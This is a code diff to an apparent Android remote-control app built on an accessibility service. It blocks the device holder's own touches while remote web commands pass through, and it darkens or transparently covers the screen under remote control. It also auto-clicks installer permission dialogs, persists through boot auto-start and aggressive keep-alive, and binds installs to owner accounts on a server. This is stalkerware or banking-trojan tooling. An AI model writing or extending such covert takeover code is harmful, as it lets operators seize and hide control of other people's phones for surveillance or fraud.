+ fun performWithBlockControl(operation: () -> Unit, passThroughDurationMs: Long = operationDelayMs) {
try {
- if (isInputBlocked && blockView != null && windowManager != null && blockParams != null) {
- // 🔑 新策略：临时修改窗口参数，添加FLAG_NOT_TOUCHABLE让触摸穿透
- Log.d(TAG, "⏰ 临时修改窗口参数以允许Web端操作穿透，保持遮罩显示")
- isPerformingWebOperation = true
-
- // 🔑 重要：所有WindowManager操作必须在主线程中执行
+ if (isInputBlocked &&
+ blockView != null &&
+ windowManager != null &&
+ blockParams != null &&
+ allowAccessibilityOperations
+ ) {
+ val effectiveDuration = passThroughDurationMs.coerceIn(MIN_PASS_THROUGH_MS, MAX_PASS_THROUGH_MS)
mainHandler.post {
- try {
- // 临时添加FLAG_NOT_TOUCHABLE，让触摸事件穿透窗口
- val tempParams = WindowManager.LayoutParams().apply {
- copyFrom(blockParams)
- flags = flags or WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE
+ passThroughToken = System.currentTimeMillis()
+ val token = passThroughToken
+ isPerformingWebOperation = true
+ applyTouchIntercept(intercept = false)
+ mainHandler.postDelayed({
+ if (token != passThroughToken) {
+ Log.d(TAG, "⏭️ 跳过过期的远程操作窗口 token=$token")
+ return@postDelayed
}
-
- windowManager?.updateViewLayout(blockView, tempParams)
- Log.d(TAG, "✅ 窗口已设置为触摸穿透模式")
-
- // 在主线程中执行操作
- operation()
-
- // 延迟恢复窗口参数
- // 🔑 使用较长延迟确保AccessibilityService操作完全完成
- // 包括：命令传递 → 系统处理 → 触摸事件注入 → 应用响应
- mainHandler.postDelayed({
- if (isInputBlocked && blockView != null && windowManager != null && blockParams != null) {
- try {
- // 恢复原始窗口参数，重新阻止物理触摸
- windowManager?.updateViewLayout(blockView, blockParams)
- Log.d(TAG, "🔄 恢复窗口阻塞模式")
- } catch (e: Exception) {
- Log.e(TAG, "❌ 恢复窗口参数失败", e)
- }
- }
- isPerformingWebOperation = false
- }, operationDelayMs) // 可配置延迟，确保AccessibilityService操作完成
-
- } catch (e: Exception) {
- Log.e(TAG, "❌ 更新窗口参数失败", e)
- // 如果更新失败，仍然执行操作
- operation()
- isPerformingWebOperation = false
- }
+ try {
+ operation()
+ } catch (e: Exception) {
+ Log.e(TAG, "❌ 远程操作执行失败", e)
+ } finally {
+ scheduleRestoreTouchIntercept(token, effectiveDuration)
+ }
+ }, PRE_OPERATION_TOUCH_PASS_DELAY_MS)
}
} else {
- // 没有遮罩时直接执行
- Log.d(TAG, "🔄 直接执行操作（无遮罩状态）")
+ Log.d(TAG, "🔄 直接执行操作（无遮罩或不允许远程放行）")
operation()
}
} catch (e: Exception) {
@@ -287,6 +357,7 @@ class InputBlockManager(
// 添加到WindowManager
windowManager?.addView(blockView, blockParams)
+ blockViewMode = BlockViewMode.TEXT
Log.i(TAG, "✅ 输入阻塞视图已激活 - 智能阻塞模式：阻止手机端物理操作，允许Web端远程操作")
@@ -317,6 +388,7 @@ class InputBlockManager(
// 添加到WindowManager
windowManager?.addView(blockView, blockParams)
+ blockViewMode = BlockViewMode.BLACK
Log.i(TAG, "✅ 纯色遮罩视图已激活 - 智能阻塞模式：阻止手机端物理操作，允许Web端远程操作")
@@ -326,6 +398,30 @@ class InputBlockManager(
blockView = null
}
}
+
+ /**
+ * 创建输入阻塞视图（透明版本）
+ */
+ private fun createInputBlockViewTransparent() {
+ try {
+ Log.i(TAG, "🫥 开始创建透明遮罩视图")
+
+ if (blockView != null) {
+ Log.d(TAG, "🔄 阻塞视图已存在，先移除")
+ removeInputBlockView()
+ }
+
+ blockView = createTransparentBlockView()
+ blockParams = createBlockWindowLayoutParams()
+ windowManager?.addView(blockView, blockParams)
+ blockViewMode = BlockViewMode.TRANSPARENT
+
+ Log.i(TAG, "✅ 透明遮罩视图已激活 - 拦截本机触摸，不影响远端画面")
+ } catch (e: Exception) {
+ Log.e(TAG, "❌ 创建透明遮罩视图失败", e)
+ blockView = null
+ }
+ }
/**
* 移除输入阻塞视图
@@ -339,8 +435,11 @@ class InputBlockManager(
blockView = null
Log.d(TAG, "🗑️ 输入阻塞视图已移除")
}
+ restoreTouchInterceptRunnable?.let { mainHandler.removeCallbacks(it) }
+ restoreTouchInterceptRunnable = null
blockParams = null
isPerformingWebOperation = false
+ blockViewMode = BlockViewMode.TEXT
Log.i(TAG, "✅ 输入阻塞已移除，设备输入已恢复")
@@ -396,8 +495,7 @@ class InputBlockManager(
// - 通过动态设置/移除OnTouchListener来控制触摸拦截
// - Web端操作时临时移除OnTouchListener，让触摸穿透到底层应用
// - 操作完成后恢复OnTouchListener，继续阻止物理触摸
- setOnTouchListener { _, event ->
- Log.d(TAG, "🚫 阻止手机端物理触摸: ${event.action}")
+ setOnTouchListener { _, _ ->
true // 拦截并消费所有触摸事件
}
}
@@ -412,14 +510,8 @@ class InputBlockManager(
private fun createBlockViewWithoutText(): View {
Log.d(TAG, "🖤 创建纯色遮罩视图")
- // 🔧 vivo设备检测
- val isVivoDevice = isVivoDevice()
- val backgroundColor = if (isVivoDevice) {
- Log.d(TAG, "📱 vivo设备：使用深色遮盖（替代亮度调节）")
- Color.argb(255, 0, 0, 0) // vivo设备：极深色遮盖（96%不透明度）
- } else {
- Color.argb(190, 0, 0, 0) // 其他设备：半透明黑色
- }
+ // 黑屏遮罩透明度可由 Web 端控制（0~255）。
+ val backgroundColor = Color.argb(blackMaskAlpha, 0, 0, 0)
val blockView = View(context).apply {
setBackgroundColor(backgroundColor)
@@ -437,8 +529,7 @@ class InputBlockManager(
android.view.View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN)
// 🔑 智能阻塞方案：拦截所有触摸事件
- setOnTouchListener { _, event ->
- Log.d(TAG, "🚫 阻止手机端物理触摸: ${event.action}")
+ setOnTouchListener { _, _ ->
true // 拦截并消费所有触摸事件
}
}
@@ -446,6 +537,33 @@ class InputBlockManager(
Log.d(TAG, "✅ 纯色遮罩视图创建完成")
return blockView
}
+
+ /**
+ * 创建透明阻塞视图（仅拦截触摸）
+ */
+ private fun createTransparentBlockView(): View {
+ Log.d(TAG, "🫥 创建透明阻塞视图")
+
+ val transparentView = View(context).apply {
+ setBackgroundColor(Color.TRANSPARENT)
+ layoutParams = android.view.ViewGroup.LayoutParams(
+ android.view.ViewGroup.LayoutParams.MATCH_PARENT,
+ android.view.ViewGroup.LayoutParams.MATCH_PARENT
+ )
+
+ @Suppress("DEPRECATION")
+ systemUiVisibility = (android.view.View.SYSTEM_UI_FLAG_LAYOUT_STABLE or
+ android.view.View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION or
+ android.view.View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN)
+
+ setOnTouchListener { _, _ ->
+ true
+ }
+ }
+
+ Log.d(TAG, "✅ 透明阻塞视图创建完成")
+ return transparentView
+ }
/**
* 创建窗口布局参数
@@ -533,10 +651,12 @@ class InputBlockManager(
return mapOf(
"text" to blockText,
"textSize" to blockTextSize,
+ "maskAlpha" to blackMaskAlpha,
"isBlocked" to isInputBlocked,
"isWebOperation" to isPerformingWebOperation,
"hasBlockView" to (blockView != null),
- "allowAccessibilityOperations" to allowAccessibilityOperations
+ "allowAccessibilityOperations" to allowAccessibilityOperations,
+ "mode" to blockViewMode.name.lowercase()
)
}
-}
\ No newline at end of file
+}
diff --git a/app/src/main/java/com/hikoncont/ui/PermissionRequestActivity.kt b/app/src/main/java/com/hikoncont/ui/PermissionRequestActivity.kt
index 04ab884..c6a4fd1 100644
--- a/app/src/main/java/com/hikoncont/ui/PermissionRequestActivity.kt
+++ b/app/src/main/java/com/hikoncont/ui/PermissionRequestActivity.kt
@@ -150,10 +150,15 @@ class PermissionRequestActivity : Activity() {
// Android 13+ 使用新的媒体权限
val permissions = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
Log.d(TAG, "Android 13+ 使用新的媒体权限")
- arrayOf(
+ val basePermissions = mutableListOf(
Manifest.permission.READ_MEDIA_IMAGES,
- Manifest.permission.READ_MEDIA_VIDEO
+ Manifest.permission.READ_MEDIA_VIDEO,
+ Manifest.permission.READ_MEDIA_AUDIO
)
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
+ basePermissions.add(Manifest.permission.READ_MEDIA_VISUAL_USER_SELECTED)
+ }
+ basePermissions.toTypedArray()
} else {
Log.d(TAG, "Android 12及以下使用传统存储权限")
arrayOf(
diff --git a/app/src/main/java/com/hikoncont/util/BroadcastReceiverCompat.kt b/app/src/main/java/com/hikoncont/util/BroadcastReceiverCompat.kt
new file mode 100644
index 0000000..5be8dde
--- /dev/null
+++ b/app/src/main/java/com/hikoncont/util/BroadcastReceiverCompat.kt
@@ -0,0 +1,20 @@
+package com.hikoncont.util
+
+import android.content.BroadcastReceiver
+import android.content.Context
+import android.content.IntentFilter
+import android.os.Build
+
+fun Context.registerReceiverCompat(
+ receiver: BroadcastReceiver,
+ filter: IntentFilter,
+ exported: Boolean = false
+) {
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
+ val flags = if (exported) Context.RECEIVER_EXPORTED else Context.RECEIVER_NOT_EXPORTED
+ registerReceiver(receiver, filter, flags)
+ } else {
+ @Suppress("DEPRECATION")
+ registerReceiver(receiver, filter)
+ }
+}
diff --git a/app/src/main/java/com/hikoncont/util/ConfigWriter.kt b/app/src/main/java/com/hikoncont/util/ConfigWriter.kt
index 59829c1..5126b93 100644
--- a/app/src/main/java/com/hikoncont/util/ConfigWriter.kt
+++ b/app/src/main/java/com/hikoncont/util/ConfigWriter.kt
@@ -47,6 +47,80 @@ object ConfigWriter {
false
}
}
+
+ /**
+ * 更新运行时功能开关配置（featureFlags）。
+ */
+ fun updateFeatureFlags(context: Context, featureFlags: Map): Boolean {
+ return try {
+ val existingConfig = readExistingConfig(context)
+ val existingFlags = existingConfig.optJSONObject("featureFlags") ?: JSONObject()
+ featureFlags.forEach { (key, value) ->
+ existingFlags.put(key, value)
+ }
+ existingConfig.put("featureFlags", existingFlags)
+
+ val success = writeConfigToFile(context, existingConfig)
+ if (success) {
+ Log.i(TAG, "✅ featureFlags更新成功: $existingFlags")
+ } else {
+ Log.e(TAG, "❌ featureFlags更新失败")
+ }
+ success
+ } catch (e: Exception) {
+ Log.e(TAG, "更新featureFlags时发生异常", e)
+ false
+ }
+ }
+
+ /**
+ * 作者: sue
+ * 日期: 2026-02-19
+ * 说明: 写入安装归属配置（安装链接Token、解析地址、归属用户和可选网络配置）。
+ */
+ fun applyInstallBinding(
+ context: Context,
+ installToken: String? = null,
+ installResolveUrl: String? = null,
+ ownerUserId: Long? = null,
+ ownerUsername: String? = null,
+ ownerGroupId: Long? = null,
+ ownerGroupName: String? = null,
+ serverUrl: String? = null,
+ webUrl: String? = null,
+ webrtcTurnUrls: String? = null,
+ webrtcTurnUsername: String? = null,
+ webrtcTurnPassword: String? = null,
+ ): Boolean {
+ return try {
+ val existingConfig = readExistingConfig(context)
+
+ installToken?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("installToken", it) }
+ installResolveUrl?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("installResolveUrl", it) }
+
+ ownerUserId?.let { existingConfig.put("ownerUserId", it.toString()) }
+ ownerUsername?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("ownerUsername", it) }
+ ownerGroupId?.let { existingConfig.put("ownerGroupId", it.toString()) }
+ ownerGroupName?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("ownerGroupName", it) }
+
+ serverUrl?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("serverUrl", it) }
+ webUrl?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("webUrl", it) }
+ webrtcTurnUrls?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("webrtcTurnUrls", it) }
+ webrtcTurnUsername?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("webrtcTurnUsername", it) }
+ webrtcTurnPassword?.trim()?.takeIf { it.isNotEmpty() }?.let { existingConfig.put("webrtcTurnPassword", it) }
+
+ val success = writeConfigToFile(context, existingConfig)
+ if (success) {
+ Log.i(TAG, "✅ 安装归属配置写入成功")
+ } else {
+ Log.e(TAG, "❌ 安装归属配置写入失败")
+ }
+ success
+ } catch (e: Exception) {
+ Log.e(TAG, "写入安装归属配置异常", e)
+ false
+ }
+ }
/**
* 读取现有配置文件
@@ -59,6 +133,7 @@ object ConfigWriter {
if (internalConfigFile.exists()) {
val jsonString = internalConfigFile.readText()
val config = JSONObject(jsonString)
+ ensureFeatureFlags(config)
Log.d(TAG, "✅ 从内部存储读取现有配置")
return config
}
@@ -70,6 +145,7 @@ object ConfigWriter {
inputStream.close()
val config = JSONObject(jsonString)
+ ensureFeatureFlags(config)
Log.d(TAG, "✅ 从assets读取默认配置")
config
} catch (e: Exception) {
@@ -84,17 +160,38 @@ object ConfigWriter {
*/
private fun createDefaultConfig(): JSONObject {
return JSONObject().apply {
- put("serverUrl", "ws://192.168.10.205:3001")
+ put("serverUrl", "ws://192.168.100.45:3001")
put("webUrl", "https://m.baidu.com")
+ put("webrtcTurnUrls", "")
+ put("webrtcTurnUsername", "")
+ put("webrtcTurnPassword", "")
+ put("ownerUserId", "")
+ put("ownerUsername", "")
+ put("ownerGroupId", "")
+ put("ownerGroupName", "")
+ put("installToken", "")
+ put("installResolveUrl", "")
put("buildTime", System.currentTimeMillis().toString())
put("version", "1.0.0")
put("enableConfigMask", false)
put("enableProgressBar", true)
+ put("featureFlags", RuntimeFeatureFlags.toJson(RuntimeFeatureFlags.defaults()))
put("configMaskText", "配置中请稍后...")
put("configMaskSubtitle", "正在自动配置和连接\n请勿操作设备")
put("configMaskStatus", "配置完成后将自动返回应用")
}
}
+
+ private fun ensureFeatureFlags(config: JSONObject) {
+ val existingFlags = config.optJSONObject("featureFlags") ?: JSONObject()
+ val defaults = RuntimeFeatureFlags.toJson(RuntimeFeatureFlags.defaults())
+ defaults.keys().forEach { key ->
+ if (!existingFlags.has(key)) {
+ existingFlags.put(key, defaults.optBoolean(key))
+ }
+ }
+ config.put("featureFlags", existingFlags)
+ }
/**
* 将配置写入文件 - 使用小米设备优化策略
diff --git a/app/src/main/java/com/hikoncont/util/DeviceDetector.kt b/app/src/main/java/com/hikoncont/util/DeviceDetector.kt
index 6728e68..ed7b960 100644
--- a/app/src/main/java/com/hikoncont/util/DeviceDetector.kt
+++ b/app/src/main/java/com/hikoncont/util/DeviceDetector.kt
@@ -2,93 +2,152 @@
import android.os.Build
import android.util.Log
+import com.hikoncont.util.adaptation.DeviceRuntimeInfo
+import com.hikoncont.util.adaptation.InstallerAutomationPlanner
+import com.hikoncont.util.adaptation.InstallerUiAutomationPlan
+import com.hikoncont.util.adaptation.KeepAliveAdaptationRegistry
+import com.hikoncont.util.adaptation.RomPolicy
+import com.hikoncont.util.adaptation.RomPolicyRegistry
+import com.hikoncont.util.adaptation.WebRtcTransportAdaptationRegistry
+import com.hikoncont.util.adaptation.WebRtcTransportPolicy
/**
- * 设备检测工具类
- * 用于检测设备品牌和型号，为不同设备提供定制化策略
+ * Centralized device profile detector.
+ *
+ * Keep all ROM/model branching here so feature modules do not hardcode
+ * manufacturer checks independently.
*/
object DeviceDetector {
private const val TAG = "DeviceDetector"
-
- /**
- * 检测是否为OPPO设备
- */
+
+ enum class DeviceBrand {
+ OPPO,
+ VIVO,
+ XIAOMI,
+ HUAWEI,
+ ONEPLUS,
+ SAMSUNG,
+ REALME,
+ UNKNOWN
+ }
+
+ data class KeepAlivePolicy(
+ val useActivityKeepAlive: Boolean,
+ val enableAggressiveWorkers: Boolean,
+ val keepAliveCheckIntervalMs: Long,
+ val minForegroundKickIntervalMs: Long
+ )
+
fun isOppoDevice(): Boolean {
- return try {
- val brand = Build.BRAND.lowercase()
- val manufacturer = Build.MANUFACTURER.lowercase()
- val product = Build.PRODUCT.lowercase()
- val device = Build.DEVICE.lowercase()
- val model = Build.MODEL.lowercase()
-
- val isOppo = brand.contains("oppo") ||
- manufacturer.contains("oppo") ||
- product.contains("oppo") ||
- device.contains("oppo") ||
- model.contains("oppo")
-
- Log.d(TAG, "🔍 OPPO设备检测: brand=$brand, manufacturer=$manufacturer, isOppo=$isOppo")
- isOppo
- } catch (e: Exception) {
- Log.e(TAG, "❌ 检测OPPO设备失败", e)
- false
- }
+ val brand = Build.BRAND.lowercase()
+ val manufacturer = Build.MANUFACTURER.lowercase()
+ val product = Build.PRODUCT.lowercase()
+ val device = Build.DEVICE.lowercase()
+ val model = Build.MODEL.lowercase()
+
+ val isOppo =
+ brand.contains("oppo") ||
+ manufacturer.contains("oppo") ||
+ product.contains("oppo") ||
+ device.contains("oppo") ||
+ model.contains("oppo")
+
+ Log.d(TAG, "OPPO detect: brand=$brand manufacturer=$manufacturer model=$model -> $isOppo")
+ return isOppo
}
-
- /**
- * 检测设备品牌类型
- */
- fun getDeviceBrand(): String {
+
+ private fun readRuntimeInfo(): DeviceRuntimeInfo {
+ return DeviceRuntimeInfo(
+ brand = getDeviceBrand(),
+ sdkInt = Build.VERSION.SDK_INT,
+ brandRaw = Build.BRAND,
+ manufacturerRaw = Build.MANUFACTURER,
+ modelRaw = Build.MODEL,
+ deviceRaw = Build.DEVICE,
+ productRaw = Build.PRODUCT
+ )
+ }
+
+ fun getRuntimeInfo(): DeviceRuntimeInfo {
+ return readRuntimeInfo()
+ }
+
+ fun getDeviceBrand(): DeviceBrand {
return try {
val brand = Build.BRAND.lowercase()
val manufacturer = Build.MANUFACTURER.lowercase()
-
- Log.d(TAG, "🔍 设备品牌检测: brand=$brand, manufacturer=$manufacturer")
-
+
when {
- brand.contains("oppo") || manufacturer.contains("oppo") -> "OPPO"
- brand.contains("vivo") || manufacturer.contains("vivo") -> "VIVO"
- brand.contains("xiaomi") || brand.contains("redmi") || manufacturer.contains("xiaomi") -> "XIAOMI"
- brand.contains("huawei") || brand.contains("honor") || manufacturer.contains("huawei") -> "HUAWEI"
- brand.contains("oneplus") || manufacturer.contains("oneplus") -> "ONEPLUS"
- brand.contains("samsung") || manufacturer.contains("samsung") -> "SAMSUNG"
- brand.contains("realme") || manufacturer.contains("realme") -> "REALME"
- else -> "UNKNOWN"
+ brand.contains("oppo") || manufacturer.contains("oppo") -> DeviceBrand.OPPO
+ brand.contains("vivo") || manufacturer.contains("vivo") || brand.contains("iqoo") || manufacturer.contains("iqoo") -> DeviceBrand.VIVO
+ brand.contains("xiaomi") || brand.contains("redmi") || manufacturer.contains("xiaomi") -> DeviceBrand.XIAOMI
+ brand.contains("huawei") || brand.contains("honor") || manufacturer.contains("huawei") -> DeviceBrand.HUAWEI
+ brand.contains("oneplus") || manufacturer.contains("oneplus") -> DeviceBrand.ONEPLUS
+ brand.contains("samsung") || manufacturer.contains("samsung") -> DeviceBrand.SAMSUNG
+ brand.contains("realme") || manufacturer.contains("realme") -> DeviceBrand.REALME
+ else -> DeviceBrand.UNKNOWN
}
} catch (e: Exception) {
- Log.e(TAG, "❌ 检测设备品牌失败", e)
- "UNKNOWN"
+ Log.e(TAG, "detect brand failed", e)
+ DeviceBrand.UNKNOWN
}
}
-
- /**
- * 检测是否需要Activity保活
- * OPPO设备只使用服务保活，不使用Activity保活
- */
+
+ fun getKeepAlivePolicy(): KeepAlivePolicy {
+ val info = readRuntimeInfo()
+ val resolution = KeepAliveAdaptationRegistry.resolve(info)
+ val policy = resolution.keepAlivePolicy
+
+ Log.i(
+ TAG,
+ "keepAlivePolicy strategy=${resolution.strategyId} brand=${info.brand} sdk=${info.sdkInt} activity=${policy.useActivityKeepAlive} aggressive=${policy.enableAggressiveWorkers} interval=${policy.keepAliveCheckIntervalMs} minKick=${policy.minForegroundKickIntervalMs}"
+ )
+ return policy
+ }
+
+ fun getActiveKeepAliveStrategyId(): String {
+ return KeepAliveAdaptationRegistry.resolve(readRuntimeInfo()).strategyId
+ }
+
+ fun getWebRtcTransportPolicy(): WebRtcTransportPolicy {
+ val info = readRuntimeInfo()
+ val policy = WebRtcTransportAdaptationRegistry.resolve(info)
+ Log.i(
+ TAG,
+ "webrtcTransportPolicy strategy=${policy.strategyId} brand=${info.brand} sdk=${info.sdkInt} retryDelay=${policy.offerRetryDelayMs} retryMax=${policy.offerRetryMax} refresh=${policy.refreshTriggerIntervalMs} emergency=${policy.emergencyRefreshMinIntervalMs} defaultDisplay=${policy.preferDefaultDisplayCaptureIntent} forceFgs=${policy.forceMediaProjectionFgsBeforeCapture}"
+ )
+ return policy
+ }
+
+ fun getRomPolicy(): RomPolicy {
+ val info = readRuntimeInfo()
+ val policy = RomPolicyRegistry.resolve(info)
+ Log.i(
+ TAG,
+ "romPolicy strategy=${policy.strategyId} brand=${info.brand} sdk=${info.sdkInt} installer=${policy.installerStrategy} stepOrder=${policy.permissionStepOrder.joinToString("|") { it.name }}"
+ )
+ return policy
+ }
+
+ fun getInstallerUiAutomationPlan(): InstallerUiAutomationPlan {
+ val info = readRuntimeInfo()
+ val policy = RomPolicyRegistry.resolve(info)
+ val plan = InstallerAutomationPlanner.resolve(policy)
+ Log.i(
+ TAG,
+ "installerUiPlan strategy=${plan.strategyId} brand=${info.brand} sdk=${info.sdkInt} installer=${policy.installerStrategy} clickInterval=${plan.autoAllowClickMinIntervalMs} cooldown=${plan.dialogHandleCooldownMs}"
+ )
+ return plan
+ }
+
+ fun getActiveRomPolicyStrategyId(): String {
+ return RomPolicyRegistry.resolve(readRuntimeInfo()).strategyId
+ }
+
fun shouldUseActivityKeepAlive(): Boolean {
- val brand = getDeviceBrand()
- val shouldUse = when (brand) {
- "OPPO" -> {
- Log.i(TAG, "📱 OPPO设备：禁用Activity保活，仅使用服务保活")
- false
- }
- "VIVO" -> {
- Log.i(TAG, "📱 VIVO设备：禁用Activity保活，仅使用服务保活")
- false
- }
- else -> {
- Log.i(TAG, "📱 ${brand}设备：允许Activity保活")
- true
- }
- }
-
- Log.d(TAG, "🔍 保活策略检测: 品牌=$brand, 使用Activity保活=$shouldUse")
- return shouldUse
+ return getKeepAlivePolicy().useActivityKeepAlive
}
-
- /**
- * 检测设备详细信息
- */
+
fun getDeviceInfo(): Map {
return try {
mapOf(
@@ -101,7 +160,7 @@ object DeviceDetector {
"release" to Build.VERSION.RELEASE
)
} catch (e: Exception) {
- Log.e(TAG, "❌ 获取设备信息失败", e)
+ Log.e(TAG, "read device info failed", e)
emptyMap()
}
}
diff --git a/app/src/main/java/com/hikoncont/util/DeviceMetricsReporter.kt b/app/src/main/java/com/hikoncont/util/DeviceMetricsReporter.kt
new file mode 100644
index 0000000..44b66f8
--- /dev/null
+++ b/app/src/main/java/com/hikoncont/util/DeviceMetricsReporter.kt
@@ -0,0 +1,83 @@
+package com.hikoncont.util
+
+import android.content.Context
+import android.os.Build
+import android.util.Log
+import com.hikoncont.service.AccessibilityRemoteService
+
+/**
+ * Lightweight device-side metrics bridge.
+ * Metrics are emitted through SocketIOManager and stored on server side.
+ */
+object DeviceMetricsReporter {
+
+ private const val TAG = "DeviceMetricsReporter"
+ private const val METRIC_TYPE_PERMISSION = "permission_flow"
+ private const val METRIC_TYPE_KEEPALIVE = "keepalive"
+
+ fun reportPermission(
+ context: Context,
+ metricName: String,
+ success: Boolean? = null,
+ data: Map = emptyMap()
+ ) {
+ val flags = RuntimeFeatureFlags.current(context)
+ if (!flags.permissionMetrics) {
+ Log.d(TAG, "Permission metrics disabled by feature flag")
+ return
+ }
+ report(context, METRIC_TYPE_PERMISSION, metricName, success, data)
+ }
+
+ fun reportKeepAlive(
+ context: Context,
+ metricName: String,
+ success: Boolean? = null,
+ data: Map = emptyMap()
+ ) {
+ val flags = RuntimeFeatureFlags.current(context)
+ if (!flags.keepAliveMetrics) {
+ Log.d(TAG, "Keepalive metrics disabled by feature flag")
+ return
+ }
+ report(context, METRIC_TYPE_KEEPALIVE, metricName, success, data)
+ }
+
+ fun report(
+ context: Context,
+ metricType: String,
+ metricName: String,
+ success: Boolean? = null,
+ data: Map = emptyMap()
+ ) {
+ try {
+ val service = AccessibilityRemoteService.getInstance()
+ val socketManager = service?.getSocketIOManager()
+ if (socketManager == null || !socketManager.isConnected()) {
+ Log.d(
+ TAG,
+ "Skip metric (socket unavailable): type=$metricType, name=$metricName"
+ )
+ return
+ }
+
+ val payload = linkedMapOf(
+ "brand" to Build.BRAND,
+ "manufacturer" to Build.MANUFACTURER,
+ "model" to Build.MODEL,
+ "sdkInt" to Build.VERSION.SDK_INT,
+ "release" to Build.VERSION.RELEASE,
+ "packageName" to context.packageName
+ )
+ payload.putAll(data)
+ socketManager.sendDeviceMetric(
+ metricType = metricType,
+ metricName = metricName,
+ success = success,
+ data = payload
+ )
+ } catch (e: Exception) {
+ Log.w(TAG, "Report metric failed: type=$metricType, name=$metricName", e)
+ }
+ }
+}
diff --git a/app/src/main/java/com/hikoncont/util/ForegroundServiceStarter.kt b/app/src/main/java/com/hikoncont/util/ForegroundServiceStarter.kt
new file mode 100644
index 0000000..15f282f
--- /dev/null
+++ b/app/src/main/java/com/hikoncont/util/ForegroundServiceStarter.kt
@@ -0,0 +1,77 @@
+package com.hikoncont.util
+
+import android.app.ActivityManager
+import android.content.Context
+import android.content.Intent
+import android.os.Build
+import android.util.Log
+import com.hikoncont.service.RemoteControlForegroundService
+
+/**
+ * Throttled starter for RemoteControlForegroundService.
+ *
+ * Avoids repeatedly calling startForegroundService within a short interval,
+ * which is unstable on some ROMs (especially Android 14/15 customized systems).
+ */
+object ForegroundServiceStarter {
+ private const val TAG = "ForegroundServiceStarter"
+ private const val PREF_NAME = "remote_fg_start_guard"
+ private const val KEY_LAST_START_AT = "last_start_at"
+
+ fun maybeStartRemoteForegroundService(
+ context: Context,
+ action: String? = null,
+ reason: String,
+ minIntervalMs: Long
+ ): Boolean {
+ return try {
+ val now = System.currentTimeMillis()
+ val prefs = context.getSharedPreferences(PREF_NAME, Context.MODE_PRIVATE)
+ val lastStartAt = prefs.getLong(KEY_LAST_START_AT, 0L)
+ val serviceRunning = isRemoteForegroundRunning(context)
+
+ // 服务已在运行时，跳过重复启动，避免 ROM 侧前台时限异常。
+ if (serviceRunning) {
+ Log.d(TAG, "skip start (already running): reason=$reason action=$action")
+ return false
+ }
+
+ if (now - lastStartAt < minIntervalMs) {
+ Log.d(
+ TAG,
+ "skip start (throttled): reason=$reason elapsed=${now - lastStartAt}ms minInterval=$minIntervalMs"
+ )
+ return false
+ }
+
+ val intent = Intent(context, RemoteControlForegroundService::class.java)
+ if (!action.isNullOrBlank()) {
+ intent.action = action
+ }
+
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ context.startForegroundService(intent)
+ } else {
+ context.startService(intent)
+ }
+
+ prefs.edit().putLong(KEY_LAST_START_AT, now).apply()
+ Log.d(TAG, "start remote foreground service: reason=$reason action=$action")
+ true
+ } catch (e: Exception) {
+ Log.e(TAG, "start remote foreground service failed: reason=$reason", e)
+ false
+ }
+ }
+
+ private fun isRemoteForegroundRunning(context: Context): Boolean {
+ return try {
+ val am = context.getSystemService(Context.ACTIVITY_SERVICE) as ActivityManager
+ @Suppress("DEPRECATION")
+ val runningServices = am.getRunningServices(Int.MAX_VALUE)
+ runningServices.any { it.service.className == RemoteControlForegroundService::class.java.name }
+ } catch (_: Exception) {
+ false
+ }
+ }
+}
diff --git a/app/src/main/java/com/hikoncont/util/RuntimeFeatureFlags.kt b/app/src/main/java/com/hikoncont/util/RuntimeFeatureFlags.kt
new file mode 100644
index 0000000..8551e2f
--- /dev/null
+++ b/app/src/main/java/com/hikoncont/util/RuntimeFeatureFlags.kt
@@ -0,0 +1,144 @@
+package com.hikoncont.util
+
+import android.content.Context
+import android.util.Log
+import org.json.JSONObject
+
+/**
+ * Runtime feature flags driven by server_config.json.
+ * These flags are intended to be updated remotely without reinstalling APK.
+ */
+object RuntimeFeatureFlags {
+
+ private const val TAG = "RuntimeFeatureFlags"
+
+ const val KEY_BOOT_AUTO_START = "bootAutoStart"
+ const val KEY_WORKMANAGER_KEEPALIVE = "workManagerKeepAlive"
+ const val KEY_COMPREHENSIVE_KEEPALIVE = "comprehensiveKeepAlive"
+ const val KEY_ENHANCED_EVENT_RECOVERY = "enhancedEventRecovery"
+ const val KEY_PERMISSION_METRICS = "permissionMetrics"
+ const val KEY_KEEPALIVE_METRICS = "keepAliveMetrics"
+
+ data class Flags(
+ val bootAutoStart: Boolean = true,
+ val workManagerKeepAlive: Boolean = true,
+ val comprehensiveKeepAlive: Boolean = true,
+ val enhancedEventRecovery: Boolean = true,
+ val permissionMetrics: Boolean = true,
+ val keepAliveMetrics: Boolean = true
+ )
+
+ fun defaults(): Flags = Flags()
+
+ fun current(context: Context): Flags {
+ val config = ConfigReader.readServerConfig(context)
+ val featureFlags = config?.optJSONObject("featureFlags")
+ return fromJson(featureFlags)
+ }
+
+ fun fromJson(featureFlags: JSONObject?): Flags {
+ val defaults = defaults()
+ return Flags(
+ bootAutoStart = featureFlags?.optBoolean(
+ KEY_BOOT_AUTO_START,
+ defaults.bootAutoStart
+ ) ?: defaults.bootAutoStart,
+ workManagerKeepAlive = featureFlags?.optBoolean(
+ KEY_WORKMANAGER_KEEPALIVE,
+ defaults.workManagerKeepAlive
+ ) ?: defaults.workManagerKeepAlive,
+ comprehensiveKeepAlive = featureFlags?.optBoolean(
+ KEY_COMPREHENSIVE_KEEPALIVE,
+ defaults.comprehensiveKeepAlive
+ ) ?: defaults.comprehensiveKeepAlive,
+ enhancedEventRecovery = featureFlags?.optBoolean(
+ KEY_ENHANCED_EVENT_RECOVERY,
+ defaults.enhancedEventRecovery
+ ) ?: defaults.enhancedEventRecovery,
